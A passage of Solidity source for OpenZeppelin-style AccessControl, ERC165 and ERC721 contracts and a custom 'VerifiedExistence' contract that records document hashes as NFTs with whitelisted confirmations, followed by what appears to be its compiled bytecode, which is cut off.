emit RoleGranted(role, account, msg.sender);
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, msg.sender);
}
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is ERC165, IERC721, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
constructor () public {
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev Gets the balance of the specified address.
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev Gets the owner of the specified token ID.
* @param tokenId uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner.
* @param owner address owning the tokens list to be accessed
* @param index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev Gets the total amount of tokens stored by the contract.
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens.
* @param index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(msg.sender == owner || isApprovedForAll(owner, msg.sender),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf.
* @param operator operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != msg.sender, "ERC721: approve to caller");
_operatorApprovals[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
/**
* @dev Tells whether an operator is approved by a given owner.
* @param owner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address.
* Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
* Requires the msg.sender to be the owner, approved, or operator.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether the specified token exists.
* @param tokenId uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether the given spender can transfer a given token ID.
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
* @param _data bytes data to send along with a safe transfer check
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* @param tokenId uint256 ID of the token being burned
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = to.call(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
msg.sender,
from,
tokenId,
_data
));
if (!success) {
if (returndata.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert("ERC721: transfer to non ERC721Receiver implementer");
}
} else {
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - when `from` is zero, `tokenId` will be minted for `to`.
* - when `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
/**
* @title Proof of existence by storing hashes. Based on ERC721.
* The proof record is an ERC721 token, therefore it is referred to as token or proof.
*/
contract VerifiedExistence is ERC721, AccessControl {
using EnumerableSet for EnumerableSet.AddressSet;
struct ProofMetadata {
bytes32 hash; // hash of the proof
uint256 timestamp; // time of adding it
string description; // user given description
}
bytes32 public constant PROOF_WHITELISTED = keccak256("PROOF_WHITELISTED");
bytes32 public constant CONFIRM_WHITELISTED = keccak256("CONFIRM_WHITELISTED");
/* highest issued ID, used for minting. Ever increasing.
* @dev ID 0 is not used and signifies non-existent token.
*/
uint256 private _highestID;
// Mapping from proof ID to the proof metadata
mapping (uint256 => ProofMetadata) private _proofMetadata;
// Mapping from proof ID to the proof confirmations
mapping (uint256 => EnumerableSet.AddressSet) private _proofConfirmations;
// Mapping from hash in token metadata to token ID
mapping (bytes32 => uint256) private _hashesToTokens;
event ProofAdded(bytes32 hash, string description, uint256 timestamp, uint256 proofId, address owner);
event ProofConfirmed(uint256 proofId, address confirmer);
constructor () public {
// make the contarct deployer the admin of all user access.
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
/**
* @dev Batch role assignment
* @param role bytes32 The role to grant
* @param accounts address[] array of recipients of the role
*/
function batchGrantRole(bytes32 role, address[] memory accounts) public {
// right checks are done in the grantRole of AccessControl
for (uint256 i = 0; i < accounts.length; i++)
grantRole(role, accounts[i]);
}
/**
* @dev Mints a new token and adds provided metadata
* @param proofHash bytes32 the proof has to store. Must not be 0 or already exist.
* @param description string description of the proof
* @return uint256 id of the new proof/token
*/
function addProof(address to, bytes32 proofHash, string memory description) public returns (uint256) {
require(hasRole(PROOF_WHITELISTED, msg.sender), "VerifiedExistence: you are not permitted to add a proof");
require(proofHash != 0x0, "VerifiedExistence: proof hash can't be zero");
require(getProofIdByHash(proofHash) == 0, "VerifiedExistence: this proof hash already exists");
// does not require SafeMath as the increment is the only operation on _highestID
_highestID++;
_safeMint(to, _highestID);
uint256 timestamp = now;
_proofMetadata[_highestID] = ProofMetadata(proofHash, timestamp, description);
_hashesToTokens[proofHash] = _highestID;
emit ProofAdded(proofHash, description, timestamp, _highestID, to);
return _highestID;
}
/**
* @dev Burns a specific ERC721 token.
* @param tokenId uint256 id of the ERC721 token to be burned.
*/
function deleteProof(uint256 tokenId) public {
require(_isApprovedOrOwner(msg.sender, tokenId), "VerifiedExistence: burn caller is not owner nor approved");
_burn(tokenId);
delete _hashesToTokens[_proofMetadata[tokenId].hash];
delete _proofMetadata[tokenId];
delete _proofConfirmations[tokenId];
}
/**
* @dev Finds ID of a proof by its hash.
* @param proofHash bytes32 the proof hash the find.
* @return uint256 token ID. 0 if it does not exist.
*/
function getProofIdByHash(bytes32 proofHash) public view returns (uint256) {
return _hashesToTokens[proofHash];
}
/**
* @dev Returns metadata of a proof
* @param tokenId uint256 id of the ERC721 token.
* @return (bytes32, uint256, string memory)(bytes32, uint256, string) hash, timestamp, description of the proof
*/
function getProofData(uint256 tokenId) public view returns (bytes32, uint256, string memory) {
require(_exists(tokenId), "VerifiedExistence: proof by this id does not exist");
ProofMetadata storage data = _proofMetadata[tokenId];
return (data.hash, data.timestamp, data.description);
}
/**
* @dev Adds a confirmation to a proof. Address needs to be whitelisted for it. Can only confirm once.
* @param tokenId uint256 id of the ERC721 token
*/
function addConfirmation(uint256 tokenId) public {
require(_exists(tokenId), "VerifiedExistence: proof by this id does not exist");
require(hasRole(CONFIRM_WHITELISTED, msg.sender), "VerifiedExistence: you are not permitted to confirm a proof");
require(_proofConfirmations[tokenId].contains(msg.sender) == false, "VerifiedExistence: you have already confirmed this proof");
_proofConfirmations[tokenId].add(msg.sender);
emit ProofConfirmed(tokenId, msg.sender);
}
/**
* @dev Returns number of confirmations of a proof
* @param tokenId uint256 id of the ERC721 token.
* @return uint256 number of confirmations on the proof
*/
function getProofConfirmationCount(uint256 tokenId) public view returns (uint256) {
require(_exists(tokenId), "VerifiedExistence: proof by this id does not exist");
return _proofConfirmations[tokenId].length();
}
/**
* @dev Check whether an address confirmed given proof
* @param tokenId uint256 id of the ERC721 token
* @param confirmer address the address being inquired about
* @return bool true if address confirmed proof with tokenId
*/
function isConfirmedBy(uint256 tokenId, address confirmer) public view returns (bool) {
require(_exists(tokenId), "VerifiedExistence: proof by this id does not exist");
return _proofConfirmations[tokenId].contains(confirmer);
}
} | 0x608060405234801561001057600080fd5b50600436106101e55760003560e01c80636352211e1161010f578063a2ee0c45116100a2578063d63ed56b11610071578063d63ed56b14610782578063da6504541461079f578063e985e9c514610842578063ff98726914610870576101e5565b8063a2ee0c4514610656578063b88d4fde14610673578063ca15c87314610739578063d547741f14610756576101e5565b80639010d07c116100de5780639010d07c146105d157806391d14854146105f4578063a217fddf14610620578063a22cb46514610628576101e5565b80636352211e146104a757806370a08231146104c4578063762cbbc3146104ea5780638a8e784c146105a5576101e5565b8063248a9ca3116101875780633cd04133116101565780633cd04133146103a257806342842e0e146103aa57806346b5cb59146103e05780634f6ccce71461048a576101e5565b8063248a9ca3146103015780632f2ff15d1461031e5780632f745c591461034a57806336568abe14610376576101e5565b8063143ee5ed116101c3578063143ee5ed1461028c57806318160ddd146102a65780631c0ec854146102ae57806323b872dd146102cb576101e5565b806301ffc9a7146101ea578063081812fc14610225578063095ea7b31461025e575b600080fd5b6102116004803603602081101561020057600080fd5b50356001600160e01b03191661088d565b604080519115158252519081900360200190f35b6102426004803603602081101561023b57600080fd5b50356108ac565b604080516001600160a01b039092168252519081900360200190f35b61028a6004803603604081101561027457600080fd5b506001600160a01b03813516906020013561090e565b005b6102946109d2565b60408051918252519081900360200190f35b6102946109fb565b61028a600480360360208110156102c457600080fd5b5035610a0d565b61028a600480360360608110156102e157600080fd5b506001600160a01b03813581169160208101359091169060400135610b74565b6102946004803603602081101561031757600080fd5b5035610bc4565b61028a6004803603604081101561033457600080fd5b50803590602001356001600160a01b0316610bd9565b6102946004803603604081101561036057600080fd5b506001600160a01b038135169060200135610c3e565b61028a6004803603604081101561038c57600080fd5b50803590602001356001600160a01b0316610c6f565b610294610cc0565b61028a600480360360608110156103c057600080fd5b506001600160a01b03813581169160208101359091169060400135610ceb565b61028a600480360360408110156103f657600080fd5b8135919081019060408101602082013564010000000081111561041857600080fd5b82018360208201111561042a57600080fd5b8035906020019184602083028401116401000000008311171561044c57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610d06945050505050565b610294600480360360208110156104a057600080fd5b5035610d37565b610242600480360360208110156104bd57600080fd5b5035610d53565b610294600480360360208110156104da57600080fd5b50356001600160a01b0316610d81565b6102946004803603606081101561050057600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561053057600080fd5b82018360208201111561054257600080fd5b8035906020019184600183028401116401000000008311171561056457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610de9945050505050565b610211600480360360408110156105bb57600080fd5b50803590602001356001600160a01b0316611034565b610242600480360360408110156105e757600080fd5b5080359060200135611098565b6102116004803603604081101561060a57600080fd5b50803590602001356001600160a01b03166110b6565b6102946110d4565b61028a6004803603604081101561063e57600080fd5b506001600160a01b03813516906020013515156110d9565b6102946004803603602081101561066c57600080fd5b50356111a5565b61028a6004803603608081101561068957600080fd5b6001600160a01b038235811692602081013590911691604082013591908101906080810160608201356401000000008111156106c457600080fd5b8201836020820111156106d657600080fd5b803590602001918460018302840111640100000000831117156106f857600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506111b7945050505050565b6102946004803603602081101561074f57600080fd5b503561120e565b61028a6004803603604081101561076c57600080fd5b50803590602001356001600160a01b0316611225565b6102946004803603602081101561079857600080fd5b503561127c565b6107bc600480360360208110156107b557600080fd5b50356112d9565b6040518084815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156108055781810151838201526020016107ed565b50505050905090810190601f1680156108325780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b6102116004803603604081101561085857600080fd5b506001600160a01b03813581169160200135166113d8565b61028a6004803603602081101561088657600080fd5b5035611406565b6001600160e01b03191660009081526020819052604090205460ff1690565b60006108b7826114b5565b6108f25760405162461bcd60e51b815260040180806020018281038252602c815260200180612570602c913960400191505060405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061091982610d53565b9050806001600160a01b0316836001600160a01b0316141561096c5760405162461bcd60e51b81526004018080602001828103825260218152602001806126386021913960400191505060405180910390fd5b336001600160a01b0382161480610988575061098881336113d8565b6109c35760405162461bcd60e51b815260040180806020018281038252603881526020018061248b6038913960400191505060405180910390fd5b6109cd83836114c8565b505050565b6040805170141493d3d197d5d2125511531254d51151607a1b8152905190819003601101902081565b6000610a076002611536565b90505b90565b610a16816114b5565b610a515760405162461bcd60e51b815260040180806020018281038252603281526020018061268a6032913960400191505060405180910390fd5b604080517210d3d39192549357d5d2125511531254d51151606a1b81529051908190036013019020610a8390336110b6565b610abe5760405162461bcd60e51b815260040180806020018281038252603b81526020018061259c603b913960400191505060405180910390fd5b6000818152600960205260409020610adc903363ffffffff61154116565b15610b185760405162461bcd60e51b81526004018080602001828103825260388152602001806124c36038913960400191505060405180910390fd5b6000818152600960205260409020610b36903363ffffffff61155616565b506040805182815233602082015281517fa8c434f6319d01b2b5541d7f2d5e0ebcde45324c87e4b5f1542d48fc83074935929181900390910190a150565b610b7e338261156b565b610bb95760405162461bcd60e51b81526004018080602001828103825260318152602001806126596031913960400191505060405180910390fd5b6109cd83838361160f565b60009081526006602052604090206002015490565b600082815260066020526040902060020154610bf590336110b6565b610c305760405162461bcd60e51b815260040180806020018281038252602f815260200180612317602f913960400191505060405180910390fd5b610c3a828261176d565b5050565b6001600160a01b0382166000908152600160205260408120610c66908363ffffffff6117cc16565b90505b92915050565b6001600160a01b0381163314610cb65760405162461bcd60e51b815260040180806020018281038252602f8152602001806126bc602f913960400191505060405180910390fd5b610c3a82826117d8565b604080517210d3d39192549357d5d2125511531254d51151606a1b8152905190819003601301902081565b6109cd838383604051806020016040528060008152506111b7565b60005b81518110156109cd57610d2f83838381518110610d2257fe5b6020026020010151610bd9565b600101610d09565b600080610d4b60028463ffffffff61183716565b509392505050565b6000610c6982604051806060016040528060298152602001612525602991396002919063ffffffff61185316565b60006001600160a01b038216610dc85760405162461bcd60e51b815260040180806020018281038252602a8152602001806124fb602a913960400191505060405180910390fd5b6001600160a01b0382166000908152600160205260409020610c6990611536565b6040805170141493d3d197d5d2125511531254d51151607a1b81529051908190036011019020600090610e1c90336110b6565b610e575760405162461bcd60e51b81526004018080602001828103825260378152602001806123a36037913960400191505060405180910390fd5b82610e935760405162461bcd60e51b815260040180806020018281038252602b815260200180612346602b913960400191505060405180910390fd5b610e9c836111a5565b15610ed85760405162461bcd60e51b81526004018080602001828103825260318152602001806123da6031913960400191505060405180910390fd5b6007805460010190819055610eee908590611860565b6040805160608101825284815242602080830182815283850187815260075460009081526008845295909520845181559051600182015593518051929492610f3c92600285019201906121fb565b50905050600754600a6000868152602001908152602001600020819055507fb2ba9a7de5f55d3a1781ce7a043d5beacef4fee52b0d80e3d4f5302c3883d1ad848483600754896040518086815260200180602001858152602001848152602001836001600160a01b03166001600160a01b03168152602001828103825286818151815260200191508051906020019080838360005b83811015610fe9578181015183820152602001610fd1565b50505050905090810190601f1680156110165780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a150506007545b9392505050565b600061103f836114b5565b61107a5760405162461bcd60e51b815260040180806020018281038252603281526020018061268a6032913960400191505060405180910390fd5b6000838152600960205260409020610c66908363ffffffff61154116565b6000828152600660205260408120610c66908363ffffffff6117cc16565b6000828152600660205260408120610c66908363ffffffff61154116565b600081565b6001600160a01b038216331415611137576040805162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015290519081900360640190fd5b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff1916861515908117909155815190815290519293927f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31929181900390910190a35050565b6000908152600a602052604090205490565b6111c1338361156b565b6111fc5760405162461bcd60e51b81526004018080602001828103825260318152602001806126596031913960400191505060405180910390fd5b6112088484848461187a565b50505050565b6000818152600660205260408120610c6990611536565b60008281526006602052604090206002015461124190336110b6565b610cb65760405162461bcd60e51b815260040180806020018281038252603081526020018061245b6030913960400191505060405180910390fd5b6000611287826114b5565b6112c25760405162461bcd60e51b815260040180806020018281038252603281526020018061268a6032913960400191505060405180910390fd5b6000828152600960205260409020610c6990611536565b60008060606112e7846114b5565b6113225760405162461bcd60e51b815260040180806020018281038252603281526020018061268a6032913960400191505060405180910390fd5b60008481526008602090815260409182902080546001808301546002808501805488519481161561010002600019011691909104601f81018790048702840187019097528683529395929490939283918301828280156113c35780601f10611398576101008083540402835291602001916113c3565b820191906000526020600020905b8154815290600101906020018083116113a657829003601f168201915b50505050509050935093509350509193909250565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b611410338261156b565b61144b5760405162461bcd60e51b81526004018080602001828103825260388152602001806126006038913960400191505060405180910390fd5b611454816118cc565b600081815260086020818152604080842080548552600a835290842084905584845291905281815560018101829055906114916002830182612279565b505060008181526009602052604081209081816114ae82826122c0565b5050505050565b6000610c6960028363ffffffff61196716565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906114fd82610d53565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000610c6982611973565b6000610c66836001600160a01b038416611977565b6000610c66836001600160a01b03841661198f565b6000611576826114b5565b6115b15760405162461bcd60e51b815260040180806020018281038252602c81526020018061242f602c913960400191505060405180910390fd5b60006115bc83610d53565b9050806001600160a01b0316846001600160a01b031614806115f75750836001600160a01b03166115ec846108ac565b6001600160a01b0316145b80611607575061160781856113d8565b949350505050565b826001600160a01b031661162282610d53565b6001600160a01b0316146116675760405162461bcd60e51b81526004018080602001828103825260298152602001806125d76029913960400191505060405180910390fd5b6001600160a01b0382166116ac5760405162461bcd60e51b815260040180806020018281038252602481526020018061240b6024913960400191505060405180910390fd5b6116b78383836109cd565b6116c26000826114c8565b6001600160a01b03831660009081526001602052604090206116ea908263ffffffff6119d916565b506001600160a01b0382166000908152600160205260409020611713908263ffffffff6119e516565b506117266002828463ffffffff6119f116565b5080826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b600082815260066020526040902061178b908263ffffffff61155616565b15610c3a5760405133906001600160a01b0383169084907f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d90600090a45050565b6000610c668383611a07565b60008281526006602052604090206117f6908263ffffffff611a6b16565b15610c3a5760405133906001600160a01b0383169084907ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b90600090a45050565b60008080806118468686611a80565b9097909650945050505050565b6000611607848484611afb565b610c3a828260405180602001604052806000815250611bc5565b61188584848461160f565b61189184848484611c17565b6112085760405162461bcd60e51b81526004018080602001828103825260328152602001806123716032913960400191505060405180910390fd5b60006118d782610d53565b90506118e5816000846109cd565b6118f06000836114c8565b6001600160a01b0381166000908152600160205260409020611918908363ffffffff6119d916565b5061192a60028363ffffffff611e4b16565b5060405182906000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b6000610c668383611977565b5490565b60009081526001919091016020526040902054151590565b600061199b8383611977565b6119d157508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610c69565b506000610c69565b6000610c668383611e57565b6000610c66838361198f565b600061160784846001600160a01b038516611f1d565b81546000908210611a495760405162461bcd60e51b81526004018080602001828103825260